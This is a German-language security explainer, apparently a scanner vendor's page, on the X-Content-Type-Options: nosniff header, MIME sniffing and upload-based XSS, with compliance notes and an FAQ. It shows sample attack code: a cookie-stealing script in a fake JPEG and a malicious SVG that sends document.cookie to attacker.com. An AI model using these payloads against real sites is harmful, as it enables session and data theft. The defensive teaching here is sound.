X-Content-Type-Options: MIME-Sniffing verhindern

Wenn Browser den Content-Type ignorieren und Dateiinhalte selbst interpretieren, entstehen upload-basierte XSS-Angriffe. Ein einziger Header-Wert stoppt das — nosniff.

Web Security · 10 Punkte
Web Security · Upload-Schutz

Was MIME-Sniffing ist — und warum es gefährlich ist

MIME-Sniffing ist ein Browser-Verhalten, bei dem der deklarierte Content-Type ignoriert und der Dateiinhalt selbst analysiert wird — das ermöglicht upload-basierte XSS-Angriffe, bei denen eine als Bild hochgeladene Datei als Script ausgeführt wird. Der Header X-Content-Type-Options: nosniff unterbindet dieses Verhalten mit einem einzigen Wert. Der Wolf-Agents Web Security Scanner prüft den Header als Teil der 166 Prüfpunkte und bewertet ihn mit 10 Punkten im Bereich Inhalts-Sicherheit.

Das ist kein theoretisches Szenario: Upload-Funktionen (Avatare, Dokumente, Medien) sind in nahezu jeder Webanwendung vorhanden. Im Wolf-Agents Web Security Check wird X-Content-Type-Options als Teil der 166 Prüfpunkte bewertet — mit 10 Punkten im Bereich Inhalts-Sicherheit.

Upload-XSS Upload-basierte XSS-Angriffe sind eine der häufigsten Vektoren in modernen Webanwendungen — MIME-Sniffing ist die Brücke zwischen Datei-Upload und Script-Ausführung OWASP Top 10 A03: Injection
$3.000 Bug-Bounty für Rosetta Flash — MIME-Sniffing-basierter JSONP-Angriff auf Google, entdeckt von Michele Spagnuolo (2014) Google Vulnerability Reward Program
RFC 9239 Legt text/javascript als offiziellen MIME-Typ für JavaScript fest — wichtig für korrekte Content-Type-Deklaration zusammen mit nosniff IETF RFC 9239 (2022)
Die Lösung

X-Content-Type-Options: nosniff — der einfachste Sicherheits-Header

X-Content-Type-Options: nosniff ist der einzige Wert dieses Headers und bewirkt, dass der Browser den deklarierten Content-Type strikt respektiert. Für Scripts und Stylesheets bedeutet das: Stimmt der Content-Type nicht exakt überein, wird die Ressource blockiert — kein MIME-Sniffing, keine Typ-Verwechslung.

Der Header hat nur einen einzigen gültigen Wert — kein Tuning, keine Varianten, keine Fallback-Werte. Einfacher ist Sicherheitskonfiguration kaum.

HTTP-Header Einziger Wert
# Einziger gültiger Wert — kein Tuning nötig
X-Content-Type-Options: nosniff

Was nosniff schützt

Script-Blockierung

JavaScript wird nur ausgeführt, wenn Content-Type exakt text/javascript ist. Andere Typen werden blockiert.

Stylesheet-Blockierung

CSS wird nur angewendet, wenn Content-Type exakt text/css ist.

Upload-XSS-Schutz

Hochgeladene Dateien mit eingebettetem Script-Code werden nicht als aktiver Inhalt interpretiert.

JSONP/Flash-Angriffe

Verhindert Rosetta Flash und ähnliche Techniken, die MIME-Ambiguität ausnutzen.

Angriffsszenario: Upload-XSS Datei-Upload
# Schritt 1: Angreifer lädt eine "Bild"-Datei hoch
# Dateiname: profile.jpg
# Dateiinhalt: <script>document.cookie='stolen='+document.cookie</script>

# Schritt 2: Server liefert die Datei aus
Content-Type: image/jpeg

# Schritt 3: Browser ohne nosniff
# → Erkennt HTML/JS-Muster im Inhalt
# → Führt Script aus (XSS!)

# Schritt 4: Browser MIT nosniff
# → Respektiert Content-Type: image/jpeg
# → Rendert (fehlerhaftes) Bild, kein Script
Fortgeschrittener Angriffsvektor

SVG MIME Confusion — der unterschätzte Angriffsvektor

SVG ist kein passives Bildformat. SVG-Dateien können JavaScript enthalten, auf das DOM zugreifen und Netzwerkanfragen stellen — wenn sie als image/svg+xml im Browser gerendert werden. Erlaubt Ihre Anwendung SVG-Uploads (Logos, Icons, Illustrationen), existiert ein direkter Weg von Datei-Upload zu Script-Ausführung.

X-Content-Type-Options: nosniff verhindert, dass eine hochgeladene Datei mit einem falschen MIME-Typ als SVG interpretiert wird. Für vollständigen Schutz sollten Sie SVG-Uploads zusätzlich auf einer Subdomain isolieren.

Bösartige SVG-Datei SVG-Angriff
<!-- SVG-Datei mit eingebettetem Script -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    // Dieser Code wird ausgeführt, wenn SVG als image/svg+xml geladen wird
    fetch('https://attacker.com/steal?c=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40"/>
</svg>

# Gegenmaßnahmen für SVG-Uploads:
# 1. nosniff verhindert Typ-Verwechslung
# 2. SVG-Uploads auf Subdomain ausliefern (user-content.example.com)
# 3. SVG serverseitig sanitieren (DOMPurify o.ä.)
Ohne nosniff + falscher Content-Type: Browser erkennt SVG-Muster im Binärinhalt, interpretiert Datei als SVG, führt eingebettetes Script aus.
Mit nosniff + korrektem Content-Type: Browser respektiert den deklarierten Typ strikt. Kein Sniffing, kein Script-Execution aus Upload-Verzeichnis.
Korrekte Content-Types

Korrekte MIME-Typen — Voraussetzung für nosniff

nosniff setzt voraus, dass Ihr Server die richtigen Content-Types deklariert. Wenn JavaScript mit application/octet-stream ausgeliefert wird und Sie nosniff aktivieren, bricht Ihre eigene Seite. Die folgende Tabelle zeigt die korrekten Typen — RFC 9239 (2022) hat text/javascript offiziell standardisiert.

Korrekte Content-Types für Web-Ressourcen

Ressourcentyp Korrekter Content-Type Standard / Hinweis
JavaScript text/javascript RFC 9239 (2022) — offizieller Standard
CSS text/css RFC 2318
JSON application/json RFC 8259
HTML text/html; charset=UTF-8 Immer mit Charset-Angabe
SVG image/svg+xml Aktiver Inhalt — Subdomain empfohlen
PNG / JPEG / GIF image/png, image/jpeg, image/gif Passiver Inhalt
PDF application/pdf Nicht application/octet-stream
Fonts (WOFF2) font/woff2 RFC 8081
Compliance

X-Content-Type-Options und regulatorische Anforderungen

X-Content-Type-Options: nosniff ist kein optionaler Best-Practice-Header — er ist in mehreren Compliance-Frameworks explizit gefordert oder als technische Schutzmaßnahme anerkannt.

PCI DSS 4.0 Req. 6.4

Public-facing Web Applications müssen gegen bekannte Angriffe geschützt sein. MIME-Sniffing ist ein dokumentierter Angriffsvektor — nosniff ist ein prüfbarer Nachweis für technische Schutzmaßnahmen bei Zahlungsanwendungen.

NIS2 / §30 BSIG

Technische Sicherheitsmaßnahmen für Angriffserkennung und -abwehr (Art. 21 NIS2). X-Content-Type-Options ist Teil eines dokumentierten Security-Header-Konzepts und zählt zu den grundlegenden Härtungsmaßnahmen.

BSI TR-03161

Die BSI-Technische Richtlinie für Web-Applikationen fordert Schutz gegen Content-Injection. MIME-Sniffing-Prävention ist ein prüfbarer Bestandteil einer sicheren HTTP-Header-Konfiguration.

DSGVO Art. 32

Technische Maßnahmen zur Sicherheit der Verarbeitung. XSS-Angriffe durch MIME-Sniffing können zur Exfiltration personenbezogener Daten führen — nosniff schließt diesen Angriffsvektor.

Wie steht Ihre Domain bei X-Content-Type-Options?

Prüfen Sie es jetzt — kostenlos, ohne Registrierung, mit 166 Prüfpunkte.

Häufig gestellte Fragen

Was ist MIME-Sniffing?

MIME-Sniffing bezeichnet das Verhalten von Browsern, den Content-Type einer Serverantwort zu ignorieren und stattdessen den Dateiinhalt zu analysieren, um den tatsächlichen Typ zu "erraten". Internet Explorer und ältere Chrome-Versionen führten dies durch. Ein als text/plain ausgeliefertes JavaScript-Snippet wurde trotzdem ausgeführt, wenn der Browser JS-Muster im Inhalt erkannte.

Was bewirkt X-Content-Type-Options: nosniff?

Der Header weist den Browser an, den vom Server deklarierten Content-Type zu respektieren und kein MIME-Sniffing durchzuführen. Für Scripts und Stylesheets bedeutet das: Wenn der Content-Type nicht exakt passt (JavaScript muss text/javascript sein, CSS muss text/css sein), blockiert der Browser die Ressource. Das verhindert upload-basierte XSS-Angriffe, bei denen ein Angreifer eine Datei mit manipuliertem Inhalt hochlädt.

Gibt es nur einen gültigen Wert?

Ja. X-Content-Type-Options kennt nur einen einzigen Wert: nosniff. Andere Werte werden von Browsern ignoriert. Der Header ist daher maximal einfach — eine Zeile Konfiguration, kein Tuning nötig.

Was hat ORB (Opaque Response Blocking) mit X-Content-Type-Options zu tun?

ORB ist ein neuerer Browserstandard (zunächst in Firefox implementiert), der opake Ressourcen (Cross-Origin-Antworten ohne CORS) mit dem falschen Content-Type blockiert. X-Content-Type-Options: nosniff ist eine ältere, komplementäre Schutzschicht. Beide zusammen verhindern, dass Cross-Origin-Antworten als falscher Typ interpretiert und ausgeführt werden.

Muss ich auch die korrekten Content-Types setzen?

Ja, unbedingt. X-Content-Type-Options: nosniff allein reicht nicht — wenn Sie JavaScript mit dem falschen MIME-Typ (z.B. application/octet-stream) ausliefern, blockiert der Browser das Script. Setzen Sie für JavaScript immer text/javascript (RFC 9239), für CSS text/css, für JSON application/json. Dann schützt nosniff Sie vor Angriffen, ohne Ihre eigene Seite zu beeinträchtigen.

Was war Rosetta Flash?

Rosetta Flash war eine 2014 von Michele Spagnuolo entdeckte Technik, mit der Angreifer eine gültige SWF-Datei konstruierten, deren Anfangsbytes auch als gültiges JSONP aussahen. Durch MIME-Sniffing interpretierte der Flash-Player die Antwort als Flash-Datei und führte beliebigen ActionScript-Code aus — selbst wenn der Server application/json deklarierte. Google zahlte dafür ein $3.000-Bug-Bounty. X-Content-Type-Options: nosniff hätte den Angriff verhindert.

Schützt nosniff auch SVG-Uploads?

Teilweise. SVG-Dateien, die als image/svg+xml ausgeliefert werden, können JavaScript enthalten und werden im Browser als aktiver Inhalt behandelt. X-Content-Type-Options: nosniff verhindert, dass eine als image/* hochgeladene Datei als Script interpretiert wird. Für vollständigen Schutz sollten Sie SVG-Uploads außerdem auf einer separaten Domain ausliefern oder SVG-Inhalte serverseitig sanitieren.